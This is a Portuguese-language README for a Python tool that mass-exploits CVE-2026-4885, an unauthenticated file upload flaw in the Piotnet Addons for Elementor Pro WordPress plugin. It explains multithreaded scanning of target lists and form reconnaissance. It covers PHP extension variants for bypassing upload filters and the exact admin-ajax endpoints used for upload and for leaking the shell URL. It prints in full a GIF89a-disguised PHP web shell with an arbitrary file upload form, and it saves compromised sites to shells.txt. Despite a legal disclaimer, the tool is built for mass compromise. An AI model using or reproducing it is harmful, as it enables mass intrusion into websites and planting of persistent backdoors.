CVE-2026-4885 – Exploração em Massa do Piotnet Addons for Elementor Pro

Upload arbitrário de arquivos não autenticado que leva à Execução Remota de Código (RCE) no Piotnet Addons for Elementor Pro ≤ 7.1.70.

Esta ferramenta foi projetada para exploração em massa – forneça uma lista de alvos e ela irá automaticamente:

Detectar a versão do plugin (ou assumir vulnerável se os assets forem encontrados)
Realizar reconhecimento avançado para extrair post_id, form_id e o nome correto do campo de upload
Testar múltiplas extensões PHP (.phtml, .php3, .php4, .phps, .pht, .php2) para contornar filtros fracos
Enviar um shell PHP com cabeçalho GIF89a (integrado, sem necessidade de arquivo externo)
Vazar a URL do shell enviado via pafe_export_database
Verificar a execução do shell (procura pela string Logic_Internet) e salvar a URL em shells.txt

⚠️ Aviso Legal
Esta ferramenta é apenas para fins educacionais e testes de segurança autorizados.
O uso não autorizado contra sistemas que você não possui é ilegal.

Mais avisos Você pode ver o aviso na capa do Jenderal92. Confira AQUI !!!

Recursos

Compatível com Python 2.7 (também funciona com Python 3 se você ajustar print/input)
Multithread – verifica e explora até 20 alvos simultaneamente
Detecção inteligente de formulários – analisa atributos HTML específicos do Piotnet (data-pafe-form-builder-field-name, data-elementor-id, etc.)
Nenhum arquivo de shell externo – o payload PHP está embutido no script
Esquema de URL automático – adiciona https:// se estiver faltando
Lista extensa de caminhos – inclui 22 URLs comuns de formulários (/contact, /apply, /quote, /book-appointment, …)
Padrão de vazamento – corresponde tanto a wp-content/uploads/piotnet-addons-for-elementor/ quanto a caminhos raiz diretos

Requisitos

Python 2.7 (ou Python 3 com pequenas alterações)
biblioteca requests

pip install requests

Installation

git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885

Usage

Prepare um arquivo de alvos

Crie um arquivo chamado targets.txt (ou qualquer nome) com uma URL por linha:

https://example1.com
example2.com
http://vulnerable-site.org

Execute o exploit

python2 CVE-2026-4885.py targets.txt

O script irá:

· Mostrar o progresso para cada alvo · Salvar as URLs de shell bem-sucedidas em shells.txt

Exemplo de saída

[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml

Opções de linha de comando (personalizáveis no script)

Variável Descrição Padrão TIMEOUT Tempo limite da solicitação HTTP 10 segundos MAX_THREADS Número de threads simultâneos 20 OUTPUT_FILE Onde salvar as URLs de shell bem-sucedidas shells.txt EXT_LIST Extensões de arquivo a testar .phtml, .php3, .php4, .phps, .pht, .php2

Você pode alterá-los editando o topo do script.

Payload do Shell

O shell integrado é:

GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>

· Exibe informações do servidor, diretório de trabalho atual e um formulário de upload de arquivo. · Pode ser substituído por qualquer outro código PHP (basta alterar SHELL_CODE no script).

Como Funciona

Detecção de versão · Procura por ?ver= nos assets do plugin na página inicial. · Alterna para verificar a existência de arquivos CSS/JS conhecidos.
Reconhecimento · Rastreia páginas de formulários comuns e todos os links internos encontrados na página inicial. · Extrai post_id, form_id e o nome correto do campo de upload a partir de atributos HTML específicos do Piotnet.
Upload · Envia uma solicitação POST multipart para wp-admin/admin-ajax.php?action=pafe_ajax_form_builder. · Usa um payload JSON que imita o mecanismo de upload do plugin. · Testa todas as extensões em EXT_LIST até que uma seja bem-sucedida.
Vazamento · Solicita pafe_export_database, que retorna um CSV contendo a URL completa do arquivo enviado. · Analisa a URL usando um padrão de regex que corresponde a xxx-{random}.ext.
Verificação · Visita a URL vazada. · Verifica a presença da string Logic_Internet. · Salva a URL em shells.txt em caso de sucesso.

Solução de Problemas

UnicodeEncodeError no Windows

O script já inclui uma função safe_unicode() que lida com caracteres não ASCII. Se você ainda vir erros, certifique-se de que seu terminal suporta UTF-8:

chcp 65001

Nenhum formulário encontrado / Todas as extensões falham

· O alvo pode estar corrigido (patch) ou não utilizar o Piotnet Addons. · Tente aumentar TIMEOUT ou MAX_THREADS. · Verifique manualmente se o plugin está realmente instalado.

O vazamento falha, mas o upload foi bem-sucedido

· O endpoint pafe_export_database pode estar desabilitado ou protegido. · Tente acessar /wp-admin/admin-ajax.php?action=pafe_export_database manualmente em um navegador para ver se está acessível.

Uso Legal e Ético

· Use esta ferramenta apenas em sistemas para os quais você tem permissão por escrito para testar. · O autor não é responsável por qualquer uso indevido ou dano causado. · Respeite todas as leis aplicáveis.

CVE-2026-4885